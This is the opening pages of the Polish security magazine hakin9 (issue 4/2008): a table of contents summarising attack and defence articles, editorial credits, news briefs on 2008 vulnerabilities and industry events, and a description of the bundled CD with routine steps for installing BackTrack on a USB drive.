SPIS TREŚCI
NARZĘDZIA
14
Norton 360
Wielomodułowe narzędzie do ochrony komputera przed szerokim
wachlarzem zagrożeń, takich jak: spyware, wirusy, rootkity, ataki typu
phishing. Zawiera także moduły: dwukierunkowego firewalla, ochrony
przed wyłudzaniem danych, uwierzytelniania witryn internetowych,
skanowania poczty elektronicznej oraz dodatkową usługę chroniącą
przed atakami zdalnymi.
15
Eset NOD32 Antivirus 3.0 Home
Opis najnowszej wersji dobrze znanego na rynku systemu
antywirusowego. Nod32 jest bardzo szybkim skanerem i co
najważniejsze nie obciążającym systemu komputera. Chroni przed
rożnego rodzaju wirusami, komponentami szpiegującymi (spyware),
reklamowymi (adware) oraz phisingiem.
POCZĄTKI
16
Niebezpieczny jPortal2
Artur pokazuje nam jak ominąć zabezpieczenia systemu jPortal2 oraz
przykładowe luki w tym portalu.
ATAK
20 Hakowanie WIFI
Grzegorz porusza ciekawe i popularne zagadnienie jakim jest WIFI. Opisał
jak wygląda atak na WEP oraz jak złamać WEP przy pomocy ataku PTW.
24 Użytkownik kontra wirusy
90% szkodliwego oprogramowania trafia do naszego komputera,
ponieważ nie przestrzegamy zasad bezpiecznego jego użytkowania.
W artykule są przedstawione niektóre techniki ataków oraz miejsca, w
których ukrywają się trojany.
30 Hakowanie Bluetooth
Do niedawna wielu z nas wydawało się, że ostatnim ogniwem mobilności
w przypadku telefonii są telefony komórkowe. Jednak w miarę odkrywania
nowych możliwości zastosowań tego typu sprzętu nie tylko do typowej
komunikacji głosowej, rozwinęły się technologie, w których komórka jest
tylko elementem łączącym ogniwa łańcucha komunikacyjnego, a sieć
GSM – jednym z dostępnych sposobów na przekazywanie informacji.
36 Przejmowanie wiadomości Gadu-Gadu
Komunikatory internetowe są jednym z coraz częściej
wykorzystywanych sposobów komunikacji międzyludzkiej. Za ich
pomocą prowadzimy luźne pogawędki ze znajomymi, załatwiamy
sprawy zawodowe, a nawet wyznajemy uczucia drugiej osobie.
Czy jednak możemy być pewni tego, że nikt nie podsłuchuje naszej
rozmowy? O tym dowiemy się z tego artykułu.
jest wydawany przez Software–Wydawnictwo Sp. z o.o.
Dyrektor wydawniczy: Sylwia Pogroszewska
Redaktor naczelny: Katarzyna Juszczyńska
katarzyna.juszczynska@software.com.pl
Redaktor prowadzący: Robert Gontarski
robert.gontarski@software.com.pl
Kierownik produkcji: Marta Kurpiewska
marta.kurpiewska@software.com.pl
DTP Manager: Robert Zadrożny
Okładka: Agnieszka Marchocka
Dział reklamy: adv@software.com.pl
Prenumerata: Marzena Dmowska
pren@software.com.pl
Wyróżnieni betatesterzy:
Łukasz Witczak, Marcin Kulawinek
Opracowanie CD: Rafał Kwaśny
Druk: 101 Studio, Firma Tęgi
Nakład wersji polskiej 6 000 egz.
Adres korespondencyjny:
Software–Wydawnictwo Sp. z o.o.
ul. Bokserska 1, 02-682 Warszawa, Polska
Tel. +48 22 427 36 77, Fax +48 22 244 24 59
www.hakin9.org
Osoby zainteresowane współpracą prosimy o kontakt:
cooperation@software.com.pl
Redakcja dokłada wszelkich starań, by publikowane w piśmie
i na towarzyszących mu nośnikach informacje i programy
były poprawne, jednakże nie bierze odpowiedzialności za
efekty wykorzystania ich; nie gwarantuje także poprawnego
działania programów shareware, freeware i public domain.
Uszkodzone podczas wysyłki płyty wymienia redakcja.
Wszystkie znaki firmowe zawarte w piśmie są własnością
odpowiednich firm i zostały użyte wyłącznie w celach
informacyjnych.
Do tworzenia wykresów i diagramów wykorzystano
program
firmy
Płytę CD dołączoną do magazynu przetestowano
programem AntiVirenKit firmy G DATA Software Sp. z o.o.
Redakcja używa systemu
automatycznego składu
UWAGA!
Sprzedaż aktualnych lub archiwalnych numerów pisma
w cenie innej niż wydrukowana na okładce – bez zgody
wydawcy – jest działaniem na jego szkodę i skutkuje
odpowiedzialnością sądową.
hakin9 ukazuje się w następujących krajach:
Hiszpanii, Argentynie, Portugalii, Francji, Belgii,
Luksemburgu, Kanadzie, Maroko, Niemczech,
Austrii, Szwajcarii, Polsce, Czechach, Słowacji.
Prowadzimy również sprzedaż kioskową
w innych krajach europejskich.
Magazyn hakin9 wydawany jest
w 7 wersjach językowych:
PL
ES
CZ
EN
IT
FR
DE
UWAGA!
Techniki prezentowane w artykułach mogą być
używane jedynie we własnych sieciach lokalnych.
Redakcja nie ponosi odpowiedzialności za
niewłaściwe użycie prezentowanych technik
ani spowodowaną tym utratę danych.
SPIS TREŚCI
STAŁE
RUBRYKI
6 W skrócie
Przedstawiamy garść
najciekawszych wiadomości ze
świata bezpieczeństwa systemów
informatycznych i nie tylko.
10 Zawartość CD
Prezentujemy zawartość i sposób
działania najnowszej wersji naszej
sztandarowej dystrybucji hakin9.live.
76 Księgozbiór
Recenzujemy książki Hacking
zdemaskowany – Bezpieczeństwo
sieci – sekrety i rozwiązania oraz
Microsoft /windows /sharePoint
Services 3.0 od środka
78 Felieton
Dla kogo biuletyn bezpieczeństwa.
Ostatecznym etapem każdego procesu
wykrywania luki w oprogramowaniu
jest wykorzystywanie uzyskanych
informacji w celu opublikowania biuletynu
bezpieczeństwa.
82 Zapowiedzi
Zapowiedzi artykułów, które znajdą
się w następnym wydaniu magazynu
hakin9
OBRONA
42 Programy antywirusowe od środka
Dziś programy antywirusowe nie są tym, czym były pierwotnie.
Oprócz wirusów komputerowych wykrywają całą gamę zagrożeń,
wliczając w to konie trojańskie, oprogramowanie szpiegujące, exploity,
phishing, a nawet spam. Choć zagrożenia bywają całkiem różne, do
ich badania wykorzystywane są podobne techniki. Z artykułu dowiesz
się jakie są techniki i algorytmy wykrywania zagrożeń stosowane w
programach antywirusowych.
48 Odzyskiwanie danych
Utrata danych wiąże się często z dużymi stratami, nierzadko także
z finansowymi. Nie ma tu większego znaczenia, czy będzie to
przemyślany atak hakera, działanie wirusa lub trojana, przypadkowe
skasowanie przez użytkownika czy awaria systemu operacyjnego.
Utrata ważnego dokumentu to zawsze duży kłopot – zwłaszcza, jeśli
nie posiada się kopii zapasowych utraconych danych. Z artykułu
dowiesz się jak odzyskać cenne dane.
56 Bezpieczne a niebezpieczne aplikacje
Aplikacje i ich bezpieczeństwo to nie tylko i wyłącznie proces
ich tworzenia, to również modelowanie zagrożeń, projektowanie
rozwiązania oraz architektura. Wszystkie te czynniki składają się na
stworzenie bezpiecznej lub niebezpiecznej aplikacji. Przy tworzeniu
bezpiecznych programów należy zwrócić szczególną uwagę na
kilka istotnych czynników wpływających na ogólne bezpieczeństwo
rozwiązania. Cały tekst bazuje na przykładzie systemu Windows i
aplikacji pisanych na platformie .NET.
60 Robactwo w kodzie
Zastanawiałeś się kiedyś, czy kod, który napisałeś, jest nieskazitelnie
czysty? Czy możesz użyć go na własnej stronie bez obawy, że ktoś
wykryje lukę i zaatakuje system? Bałeś się , że sprzedasz klientowi
skrypt, a jakaś osoba włamie się na stronę? Przeczytaj ten artykuł,
aby ustrzec się przed najbardziej popularnymi błędami w pisaniu
aplikacji internetowych w PHP i MySQL. Autor opisał podstawowe luki
w zabezpieczeniach aplikacji webowych oraz metody obrony przed
atakami hakerów.
BEZPIECZNA FIRMA
66 Ochrona informacji biznesowych
Spośród wszystkich tajemnic prawnie chronionych najbardziej
powszechny charakter w życiu gospodarczym ma tajemnica
przedsiębiorstwa, gdyż dotyczy to wszystkich przedsiębiorców.
Instytucja tajemnicy przedsiębiorstwa służy ochronie zasobów
niematerialnych firmy. Przepisy prawa nie określają, jak należy
chronić aktywa informacyjne, pozostawiając w tym zakresie pełną
swobodę przedsiębiorcom co do metod i sposobów ich ochrony. Z
artykułu dowiesz się jak zapewnić ochronę informacjom biznesowym
oraz jak zastosować najlepsze praktyki i standardy ochrony.
6
W SKRÓCIE
HAKIN9 4/2008
7
MATEUSZ STĘPIEŃ
HAKIN9
4/2008
ZŁOTE BLACHY DLA POLICJANTÓW
ZA WALKĘ Z PIRACTWEM
Policjanci z Komendy Wojewódzkiej Policji
we Wrocławiu, Komendy Wojewódzkiej
Policji w Katowicach oraz Komendy
Rejonowej Policji Warszawa V zostali
nagrodzeni Złotymi Blachami 2007 za
zaangażowanie w walce z przestępstwami
dotyczącymi naruszania praw autorskich.
Policjanci z Wrocławia nagrodzeni
zostali między innymi za: działania mające
na celu ograniczenie bezprawnego
udostępniania plików muzycznych w
sieciach p2p w akademickim systemie
informatycznym na terenie Politechniki
Wrocławskiej. Wykazywali także
nowatorskie rozwiązania w procesie
uzyskiwania i wykorzystywania dowodów
w postępowaniu karnym naruszenia
praw producentów fonograficznych w
zamkniętych sieciach osiedlowych.
Policjanci z Wydziału do Walki z
Przestępczością Gospodarczą Komendy
Wojewódzkiej Policji w Katowicach
w 2007 r. dokonali wielu istotnych i
spektakularnych akcji wobec podmiotów
i osób rozpowszechniających pirackie
oprogramowanie i korzystających z niego
w celach komercyjnych.
Natomiast funkcjonariusze z
Komendy Rejonowej Policji Warszawa
V przeprowadzili działania przeciwko
zorganizowanej grupie przestępczej
zajmującej się nielegalnym powielaniem
płyt DVD z filmami i grami PSX oraz ich
dystrybucją na terenie giełdy mieszczącej
się przy ul. Wolumen w Warszawie. W
wyniku realizacji sprawy dokonano
przeszukań i procesowo zabezpieczono
materiały dowodowe w pomieszczeniach
zlokalizowanych na terenie kilku dzielnic
Warszawy.
Piractwo to przede wszystkim olbrzymia
strata dla producentów i artystów; poza
tym – także dla Skarbu Państwa, bo każda
legalnie sprzedana płyta to podatek, to
pieniądze odprowadzone do Skarbu
Państwa – powiedział dziennikarzom
nadkom. Zbigniew Urbański z Komendy
Głównej Policji.
Nagrody, jak co roku, przyznawane są
przez Koalicję Antypiracką, którą tworzą
przedstawiciele: przemysłu muzycznego
– Związek Producentów Audio Video,
producentów oprogramowania
komputerowego – Business Software
Alliance, przemysłu filmowego – Fundacja
Ochrony Twórczości Audiowizualnej.
BILL GATES WYSTĄPIŁ W LAS
VEGAS PODCZAS OTWARCIA
DOROCZNEJ KONFERENCJI
CONSUMER ELECTRONICS SHOW
Bill Gates wystąpił w Las Vegas
podczas otwarcia dorocznej konferencji
Consumer Electronics Show (CES)
2008. W swoim wystąpieniu Bill Gates
podkreślił, że ostatnie lata można zaliczyć
do pierwszej, trwającej od 2001 roku,
prawdziwej Cyfrowej Dekady : Odkąd
po raz pierwszy mówiłem o Cyfrowej
Dekadzie w 2001 roku, tempo wzrostu
popularności technologii cyfrowych,
dzięki którym zmienia się sposób, w
jaki pracujemy, uczymy się i bawimy,
było ogromne. Mimo to, nadal jesteśmy
na początku drogi prowadzącej do
zmian, jakie wniesie w nasze życie
technologia. Kolejna cyfrowa dekada
przyniesie nam jeszcze większe
korzyści wynikające z użytkowania
nowych technologii – powiedział Bill
Gates. W swoim wystąpieniu Bill Gates
poinformował również m. in. o umowach
zawartych pomiędzy Microsoft a
Disney-ABC Television Group, NBC
Universal oraz Metro-Goldwyn-Mayer
Studios Inc. (MGM). Efektem umowy
pomiędzy Microsoft i NBC Universal
będzie możliwość dostępu do licznych
materiałów filmowych i zdjęciowych
związanych z tegorocznymi Igrzyskami
Olimpijskimi, które odbędą się w Pekinie.
Gates poinformował również, że stacje
telewizyjne ABC Television oraz Disney
Chanel nawiążą współpracę z serwisem
Xbox Live i będą dostępne do pobrania
bezpośrednio na konsolę Xbox 360.
Było to jego jedenaste wystąpienie
na Consumer Electronics Show w
ciągu piętnastu lat, ale tym razem
bardzo szczególne – gdyż Bill Gates
po raz ostatni przemawiał jako etatowy
pracownik Microsoftu. Od sierpnia
tego roku założyciel korporacji zmienia
priorytety, planuje on zrezygnować z
bieżącego, codziennego funkcjonowania
jako Chief Software Architect na rzecz
założonej w 2000 roku fundacji Bill &
Melinda Gates Foundation, która operuje
majątkiem niemal 30 mld USD, realizując
cele z zakresu poprawy globalnych
problemów zdrowia i edukacji.
Bill Gates urodził się 28 października
1955 roku w Seattle, w stanie
Washington. Jego ojciec William H. Gates
był prawnikiem, a matka nauczycielką. Bill
skończył elitarne liceum Lakeside School,
w 1973 roku rozpoczął studia na Harvard
University, gdzie poznał Steve'a Balmera
– przyszłego partnera biznesowego.
Studiów jednak nie ukończył, ponieważ
w szybkim tempie zaczęła rozwijać się
firma realizująca wizje początkującego
informatyka. Tym samym, w 1975
roku powstał Microsoft Corporation
– przyjacielska spółka Billa Gates'a i
Paula Allena. Gates uczynił Microsoft
jedną z najszybciej rozwijających się,
ale też i najbardziej krytykowanych za
metody działania firm informatycznych.
Jej najbardziej znane produkty to system
operacyjny QDOS (potem MS-DOS),
rodzina systemów Microsoft Windows
oraz pakiet biurowy Microsoft Office.
NASZA-KLASA.PL MA PROBLEMY Z
PRYWATNOŚCIĄ
Generalny Inspektor Ochrony Danych
Osobowych Michał Serzycki przeprowadzi
kontrolę portalu Nasza-klasa.pl, aby
zbadać, czy zamieszczane tam dane
osobowe są bezpieczne. Sprawa jest
bardzo poważna, gdyż szczegółowe
6
W SKRÓCIE
HAKIN9 4/2008
7
MATEUSZ STĘPIEŃ
HAKIN9
4/2008
informacje o sobie zamieściło na
portalu już prawie 6 milionów Polaków
– informacje, które są dostępne
dla każdego, o ile ten, który je
podaje, nie zablokuje konkretnego
użytkownika. Kontrola nie ma charakteru
restrykcyjnego. Nie chcemy zamykać
portalu, ale służyć pomocą. Być
może będziemy mogli podpowiedzieć
jakieś rozwiązania – powiedział na
konferencji prasowej Michał Serzycki.
Dodał, że administratorzy portalu
zostali powiadomieni o kontroli, która
ma się odbyć w siedzibie spółki we
Wrocławiu. Jestem pewien, że nie
będzie z tym problemów. Ze strony
ludzi, którzy tak wiele miejsca poświęcili
zagadnieniu ochrony danych, możemy
się spodziewać dobrej współpracy
– powiedział Serzycki.
Twórca Naszej-Klasy.pl, Maciej
Popowicz, zapewnia, że portal stara się,
by dane użytkowników były bezpieczne,
choć do tej pory bezpieczeństwo nie
było priorytetem twórców serwisu.
Popowicz zapewnia, że w ciągu kilku
tygodni zostaną wprowadzone nowe
funkcjonalności, które podniosą poziom
bezpieczeństwa. Jedną z nich będzie
możliwość ustawienia swojego profilu
jako dostępny tylko dla znajomych
– podobne rozwiązania stosuje m.
in. amerykański serwis społeczności
internetowej – MySpace, w którym
zarejestrowanych jest ponad 150
milionów osób z całego świata.
Portal Nasza-klasa.pl wystartował
w listopadzie 2006 r. We wrześniu
zeszłego roku 20% udziałów w portalu
kupił niemiecki fundusz inwestycyjny
European Founders. Obecnie wartość
całego serwisu szacowana jest na 20
mln zł. Dziennie internauci generują
ruch rzędu 150 mln odsłon (Megapanel
PBI/Gemius). Twórcą Naszej-Klasy.pl
jest student informatyki Maciej Popowicz
z Wrocławia, który dokonał jednej z
największych transakcji w polskim
Internecie i stał się najbogatszym
studentem w naszym kraju.
OPTYMALIZACJA ROUTINGU WAN
Firma Passus, oferująca programowe
i sprzętowe rozwiązania do
monitorowania, testowania, analizy oraz
modelowania sieci informatycznych i
telekomunikacyjnych, wprowadziła do
oferty oprogramowanie PfR Manager
firmy Fluke Networks. Pozwala ono na
optymalizację tras w sieciach WAN z
wykorzystaniem nowej, opracowanej
przez Cisco, technologii Performance
Routing (PfR). PfR Manager jest
oprogramowaniem uruchamianym
na działającym pod kontrolą systemu
Windows serwerze użytkownika.
Rozwiązanie działa na podstawie reguł
aplikacji i ruchu sieciowego, jak również
systemu priorytetów. Umożliwia ponadto
optymalizację automatycznego routingu
za pomocą ulepszonej konfiguracji i
administracji. Korzyści z zastosowania
rozwiązania PfR Manager to:
• redukcja kosztów działania sieci,
dzięki konfiguracji, która zapewnia
pełne wykorzystanie wszystkich łączy
WAN, w tym nieużywanych do tej
pory łączy zapasowych,
• lepsza wydajność sieci oraz krótsze
czasy reakcji, dzięki optymalnej
konfiguracji, monitorowaniu
dynamicznego routingu oraz ciągłym
pomiarom wydajności,
• uproszczone raporty, ułatwiające
aktywację pomiarów bazowych oraz
uproszczony system weryfikacji w
oparciu o umowy SLA .
Rozwiązania Enterprise Performance
Management firmy Fluke Networks
przeznaczone są do aktywnego
zarządzania zasobami sieciowymi. To
nowość w dynamicznie rozwijającym
się obszarze Enterprise Performance
Management (dostarczanie aplikacji,
usług VoIP i zarządzanie wydajnością
w zbieżnym środowisku sieci
przedsiębiorstwa).
Firma Passus sp. z o. o. powstała
w 1992 roku i działa w branży
informatyczno-telekomunikacyjnej.
W ofercie firmy można znaleźć całą
gamę produktów przeznaczonych
dla różnych typów sieci. Passus jest
przedstawicielem m. in. firm Fluke
Networks, AirMagnet i OPNET.
POWAŻNE DZIURY WE FLASHU
Specjaliści z Google, wraz ze
znaną firmą specjalizującą się w
8
W SKRÓCIE
HAKIN9 4/2008
9
MATEUSZ STĘPIEŃ
HAKIN9
4/2008
zabezpieczeniach, poinformowali
o znalezieniu niebezpiecznej luki w
Adobe Flash, popularnej technologii
umożliwiającej m. in. tworzenie animacji
z wykorzystaniem grafiki wektorowej na
zasadzie klatek kluczowych. Odkryta luka
pozwala na przeprowadzenie ataku typu
XSS. Mnóstwo ludzi jest narażonych, a
póki co nie ma innego zabezpieczenia
niż usunięcie obiektów Flash i czekanie
na reakcję ze strony producenta
– powiedział Alex Stamos, jeden z
członków zespołu, który odkrył błędy w
technologii Flash.
KONIEC NETSCAPE NAVIGATORA
AOL, właściciel Netscape Navigator,
jednej z pierwszych przeglądarek
internetowych w historii globalnej sieci,
ogłosił zakończenie dalszego rozwoju
i wsparcia technicznego tej aplikacji
z dniem 1 lutego 2008. Powodem
podjęcia takiej decyzji jest malejące
zainteresowanie produktem. Pierwsza
wersja programu pojawiła się w roku
1994, ostatnia, 9. wersja przeglądarki
ukazała się w 2007 r.
NOWY FIREFOX DZIURAWY
Izraelski specjalista ds. Bezpieczeństwa,
Aviv Raff, wykrył poważną lukę w
zabezpieczeniach Firefoksa 2.0.0.11,
która pozwala na przeprowadzenie
udanego ataku typu phishing
– wyświetlając standardowe okienko
służące do autoryzacji. Wpisywane dane
uwierzytelniające mogą być przesłane
pod inny adres – dzięki temu atakujący
może oszukać użytkownika, przekonując
go, że okienko wyświetlane jest przez
zaufaną witrynę. Przedstawiciele
Fundacji na razie ograniczyli się
jedynie do poinformowania, że
sprawdzają doniesienia o błędzie. Jako
tymczasowe obejście problemu Aviv Raff
proponuje unikać witryn, które stosują
uwierzytelnianie podstawowe, opierając
proces pozyskiwania loginu i hasła
o okno będące elementem interfejsu
przeglądarki.
BŁĄD W EXCELU
Gigant z Redmond – firma Microsoft
– poinformowała o poważnym błędzie
występującym w Excelu.
Z informacji przekazanych przez
Microsoft wynika, że błąd od kilku
dni wykorzystywany jest już przez
internetowych przestępców, którzy
rozsyłają e-maile z załączonymi
odpowiednio spreparowanymi plikami
.xls. Otwarcie sfałszowanego pliku
powoduje uruchomienie i zainstalowanie
w systemie złośliwego kodu
umożliwiając napastnikowi przejęcie
pełnej kontroli nad zaatakowaną
maszyną. Luka występuje w MS Office
Excel 2003 SP2, Excel Viewer 2003,
Excel 2002 i Excel 2004 for Mac, jednak
Excel 2007, Excel 2003 SP3 oraz Excel
2008 for Mac są bezpieczne.
POPRAWKI DLA FREEBSD
Developerzy systemu FreeBSD
udostępnili poprawki dla licznych
luk w systemie, które umożliwiają
przeprowadzenie ataku typu DoS,
zdalne wykonanie kodu i dają dostęp do
przechowywanych w systemie informacji.
Jeden z błędów występuje w funkcji
inet _ network()
, odpowiedzialnej
za zamianę nazw DNS na adresy IP
i odwrotnie. Przekazanie do funkcji
odpowiednich parametrów może
wywołać błąd przepełnienia bufora i,
w efekcie, wykonanie dowolnego kodu.
Kolejna dziura pozwalała napastnikowi
odczytywać informacje z terminala
należącego do innego użytkownika. Błąd
występuje w funkcji openpty(), która nie
ustawia bezpiecznych praw dostępu
dla pliku specjalnego skojarzonego z
urządzeniem pseudoterminala. W efekcie
użytkownicy byli w stanie wzajemnie
odczytywać zawartość swoich terminali.
SUN PRZEJMUJE TWÓRCĘ BAZ
DANYCH MYSQL
Jeden z najważniejszych
producentów sprzętu komputerowego,
oprogramowania komputerowego i
rozwiązań sieciowych – firma Sun
Microsystems – ogłosiła osiągnięcie
porozumienia w sprawie nabycia za 1
mld USD szwedzkiej firmy MySQL AB,
której bazy danych, oparte na otwartym
kodzie źródłowym, stosowane są
powszechnie na całym świecie przez
aplikacje WWW.
Firma Sun Microsystems ma nadzieję,
że przejęcie MySQL umocni w
znaczący sposób jej pozycję na
rynku rozwiązań IT stosowanych w
przedsiębiorstwach. Sun zapłaci 800
mln dolarów gotówką, dalsze 200 mln
USD zostanie przekazane w opcjach na
akcje. Serwer MySQL znany i ceniony
jest przede wszystkim ze względu na
swoją niebywałą wydajność i szybkość
działania. Świetnie nadaje się do obsługi
projektów internetowych, ale nie tylko
– z powodzeniem używany jest również
w wielkich projektach informatycznych
organizacji takich, jak chociażby NASA .
Systemem Zarządzania Relacyjnymi
Bazami Danych – MySQL dostępny
jest na wszystkie popularne platformy
systemowe.
8
W SKRÓCIE
HAKIN9 4/2008
9
MATEUSZ STĘPIEŃ
HAKIN9
4/2008
ALTKOM DYKTUJE NOWE TRENDY
NA RYNKU PRACY IT
Program stażowy Enter 2008 dla młodej
kadry informatycznej w Altkom Software
& Consulting Relacje pracodawca -
pracownik w firmach IT w Polsce ulegają
ostatnio dość silnym przeobrażeniom.
Z jednej strony jest to efekt deficytu
wysoko wyspecjalizowanej kadry, z
drugiej – godny naśladowania trend,
będący przejawem wysokiej kultury
pracodawcy, nowoczesności firmy i jej
proeuropejskiej orientacji.
Jedną z takich firm, promujących
nowe jakości współpracy, jest Altkom S.A.,
pomysłodawca i organizator jedynego na
polskim rynku programu stażowego dla
młodej kadry IT o nazwie Enter.
Enter to rewolucyjny program
stażowy, którego celem jest
pozyskanie z rynku pracy grupy 24
młodych informatyków, umożliwienie
im odbycia intensywnego kursu w
obrębie wybranej ścieżki zawodowej
(do wyboru: programista Java,
programista .Net, analityk) i 18-
miesięcznego stażu w Altkom Software
& Consulting. Szkolenie teoretyczne i
praktyczne trwa trzy miesiące. W jego
trakcie stażyści otrzymują wysokie
stypendium oraz atrakcyjny pakiet
socjalny. Po zakończeniu szkoleń z
udziałem najlepszych wykładowców
Altkom Akademii i zdaniu egzaminów
certyfikacyjnych (Microsoft, Sun, OMG)
uczestnicy programu są kwalifikowani
do płatnego stażu w Altkom Software
& Consulting. W tym czasie mają
możliwość uczestniczenia we wszystkich
pracach pionu, wyjazdów do klientów
zagranicznych firmy, dalszego
kształcenia się. Ich wynagrodzenie jest
też znacznie wyższe, niż stypendium
oferowane na pierwszym etapie. Po
zakończeniu stażu uczestnicy programu
stają się równoprawnymi pracownikami
firmy. Mogą nadal rozwijać się w obrębie
struktury firmy, starać się o awanse i
korzystać z systemów motywacyjnych.
Altkom inwestuje w potencjał
ludzki – mówi Adam Lejman, dyrektor
Altkom Software & Consulting. Ma to
związek ze znacznym poszerzeniem
portfela klientów i wynikającym z tego
zwiększonym zapotrzebowaniem na
różne usługi. Altkom potrzebuje wciąż
nowych pracowników, dlatego prowadzi
stały nabór. Nie boi się też zainwestować
w proces ich kształcenia Prezes Altkom
Akademii S.A. Tadeusz Alster liczy na
to, że wybrani przez niego kandydaci,
zdecydują się związać z firmą na dłużej
i w niej właśnie będą urzeczywistniać
swoje ambicje zawodowe. Ci, którzy po
zakończeniu stażu, nie zechcą pracować
w Altkom Software & Consulting, zasilą
kadry najwyższej klasy specjalistów IT
na polskim rynku pracy. Sprawdzonym
przepisem na sukces naszej firmy
jest wdrażanie nowych idei w obrębie
własnego centrum szkoleniowego.
Trzymamy się tego od lat. Dzięki
temu możemy realizować najbardziej
skomplikowane projekty na wielu
platformach technologicznych, kreować
nowe obszary biznesowe i wpływać na
kształt rynku pracy w sektorze IT w Polsce.
Przykład idzie z góry, a tym razem znów
idzie od nas – mówi prezes Alster.
O tym, jak bardzo potrzebny jest
to program, świadczą wypowiedzi
uczestników jego zeszłorocznej,
pierwszej w historii programu, edycji.
Dwudziestopięcioletnia uczestniczka
programu Enter 2007, absolwentka
Politechniki Wrocławskiej, zaraz po
studiach wzięła udział w naborze do
programu i dołączyła do elitarnej grupy 24
stażystów. Dziś pracuje w Altkom Software
& Consulting w Warszawie na stanowisku
analityka i tak mówi o programie, który
zapoczątkował jej karierę: Enter to
program rewolucyjny jak na polskie realia.
Mało jest takich firm, które decydują
się zainwestować w swoich przyszłych
pracowników, nie mając stuprocentowej
pewności, czy inwestycja okaże się
strzałem w dziesiątkę. Proponowane
w ramach tego programu warunki
rozwoju zawodowego i perspektywy
na przyszłość są bardzo obiecujące.
Możliwość dalszego dokształcenia się
zwiększa dodatkowo szanse kandydata
na rynku pracy. Co więcej, możemy
śmiało powiedzieć, że to praca sama
nas znalazła. Oszczędzono nam być
może wielu bolesnych doświadczeń.
Mam nadzieję, że młodzi ludzie będą
chętnie korzystali z możliwości kształcenia
w zawodzie programisty lub analityka
- szczególnie, jeśli do pracy w tych
zawodach będą aplikować z zupełnie
innej branży. Program Enter to szansa
na rozwój pod czujnym okiem wysokiej
klasy specjalistów. A takiej okazji nie wolno
przegapić.
W tym roku organizator zadbał o to, by
oferta edukacyjna w ramach programu,
była szczególnie atrakcyjna - informuje
Jacek Chmiel, dyrektor w Altkom Software
& Consulting, odpowiedzialny za program
szkoleń. Oferujemy pakiet profesjonalnych
szkoleń Altkom Edukacji z zakresu Java
+ Oracle, Microsoft .NET + SQL Server,
a także zaawansowane szkolenia
dla analityków (Podstawy technologii
obiektowej, analiza i projektowanie
z wykorzystaniem UML 2.0, zasady
modelowania procesów biznesowych przy
wykorzystaniu notacji BPMN). Szkolenia
te będą uzupełnione praktycznymi
warsztatami pod okiem doświadczonych
ekspertów z Altkom Software & Consulting,
pracujących na co dzień w ambitnych
projektach o dużej skali i złożoności.
Po zakończeniu programu
stażowego Enter w Altkom
Software & Consulting stażysta
jest przygotowany do wykonywania
najbardziej skomplikowanych zadań i
współpracy z firmami, korzystającymi
z zaawansowanych rozwiązań
informatycznych. Na programie Enter
obie strony wiele zyskują: stażyści
otrzymują rzadką szansę na start do
kariery w informatycznej ekstraklasie,
Altkom – świetnie wyszkolonych
specjalistów, ukształtowanych według
własnych norm i koncepcji.
Altkom Software & Consulting
Partner Programu:
NZS Drogowskazy Kariery
Patroni Medialni:
hakin9, Software Developer’s
Journal, Linux Magazine,
www.businessman.pl, www.KarieraIT.pl,
www.PracaDlaStudenta.pl
10
NA CD
HAKIN9 4/2008
11
HAKIN9.LIVE
HAKIN9
4/2008
Na dołączonej do pisma płycie znajduje się dystrybucja hakin9.live (h9l) w wersji 4.0.3
on BackTrack2.0, zawierająca przydatne narzędzia, dokumentację, tutoriale i materiały
dodatkowe do artykułów.
ZAWARTOŚĆ CD
Aby zacząć pracę z hakin9.live, wystarczy uruchomić komputer z CD. Po
uruchomieniu systemu możemy zalogować się jako użytkownik hakin9 bez
podawania hasła.
JAK ZACZĄĆ
PROGRAMY
• Advanced EFS Data Recovery,
• Advanced Registry Tracer,
• Proactive Password Auditor,
• ArcaVir 2008 System Protection z
modułem Administratora,
• Panda antywirus 2008.
FILMY INSTRUKTAŻOWE
Szósty odcinek: Atak SQL Injection –
Błędy w użyciu funkcji
include()
. Kolejny
odcinek z serii filmów instruktażowych,
przedstawiający najpopularniejsze
metody ataków na strony internetowe.
BACKTRACK2.0 NA SWOIM PENDRIVIE
Utwórz partycję na pendrivie:
# fdisk /dev/sda
Uwaga: Jeśli posiadasz dyski SCSI lub
SATA, sprawdź gdzie są umieszczone
/dev/sda
może być Twoim dyskiem systemowym!
Wykasuj wszystkie istniejące partycje
(wciśnij d oraz Enter, później wprowadź
ilość partycji – od 1 do 4).
Aby sprawdzić obecny stan partycji,
wprowadź p. Później zacznij tworzyć
nową partycję FAT32 – o wielkości około
800 MB.
W tym celu wciśnij n, zatwierdzając
klawiszem Enter. Zacznij od początku
i ustal wielkość tworzonej partycji lub
wciśnij jeszcze raz Enter, aby użyć całego
urządzenia.
Rodzaj partycji musi zostać zmieniony
na FAT32 – wprowadź t i odpowiedz b na
pojawiające się pytanie.
Musimy teraz sprawić, żeby nowa
partycja była bootowalna. Wpisz a, a
następnie wprowadź numer partycji
– 1. Teraz wpisz w w celu zapamiętania
zmian.
PLIKI
Na początku utwórz na nowej partycji
system plików:
# mkfs.vfat /dev/sda1
Teraz zdefiniuj punkt montowania
tworzonego systemu plików:
# mount /dev/
sda1 /mnt/usb
Skopiuj pliki hakin9 live do
przygotowanej lokalizacji:
# cp -a /mnt/cdrom/* /mnt/usb/
Niektóre struktury plików powinny zostać
usunięte:
# cd /mnt/usb/
# rm boot/vmlinuz
# rm boot/initrd.gz
W /mnt/usb powinien znajdować się
plik syslinux.cfg. Po tej operacji wykonaj
następujące polecenia:
# umount /dev/usb/
# syslinux /dev/sda1
W przypadku problemów wydaj
polecenie:
# syslinux-nomtools /dev/sda1
Zrestartuj teraz maszynę i w BIOSie
ustaw bootowanie z USB-HDD,
utworzyłeś w pełni funkcjonalny
system na swoim pendrivie.
Pamiętaj, że bootowanie z USB jest
obsługiwane jedynie przez nowe płyty
główne. Obecnie cała operacja jest
możliwa tylko z pendrive'ami, które
posiadają sektor y o rozmiarze 512
bajtów.
ADVANCED EFS DATA RECOVERY
Advanced EFS Data Recovery (AEFSDR)
– to aplikacja do odzyskiwania
(rozszyfrowania) plików znajdujących się
na partycjach NTFS i zaszyfrowanych
za pomocą Encrypted File System
(EFS).
Program obsługuje następujące
systemy operacyjne:
• Windows 2000,
• Windows XP,
• Windows 2003 Server.
Program umożliwia rozszyfrowanie
plików nawet w przypadku, gdy system
nie ładuje się lub są uszkodzone
niektóre zapisy o kluczach szyfrowania.
W systemie Windows 2000 możliwy
jest odczyt wszystkich plików, nawet
bez posiadania hasła administratora i
użytkowników!
ADVANCED REGISTRY TRACER
Advanced Registry Tracer (ART)
